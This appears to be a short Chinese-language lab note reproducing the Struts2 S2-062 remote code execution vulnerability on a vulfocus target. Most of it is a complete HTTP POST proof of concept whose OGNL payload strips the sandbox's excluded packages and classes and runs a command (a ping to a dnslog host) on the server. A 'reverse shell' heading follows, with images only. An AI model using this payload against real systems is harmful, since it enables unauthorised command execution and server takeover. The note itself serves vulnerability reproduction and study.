struts2 远程代码执行漏洞

github

https://github.com/YanMu2020/s2-062

复现(vulfocus)

https://vulfocus.cn/#/dashboard
http://123.58.224.8:53385/s2_062/index.action
image.png

poc

  1. POST //s2_062/index.action HTTP/1.1
  2. Host: 123.58.224.8:20509
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. Cookie: JSESSIONID=A5DCF2554675149CD0D858F69A8BB63A
  9. Upgrade-Insecure-Requests: 1
  10. Content-Type: application/x-www-form-urlencoded
  11. Content-Length: 1058
  13. name=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
  14. (%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
  15. (%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
  16. (%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
  17. (%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
  18. (%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
  19. (%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
  20. (%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
  21. (%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'ping ynjkmz.dnslog.cn'}))

成功回显

image.png
反弹shell
8586f97968d8487fa2326485dc783cff.png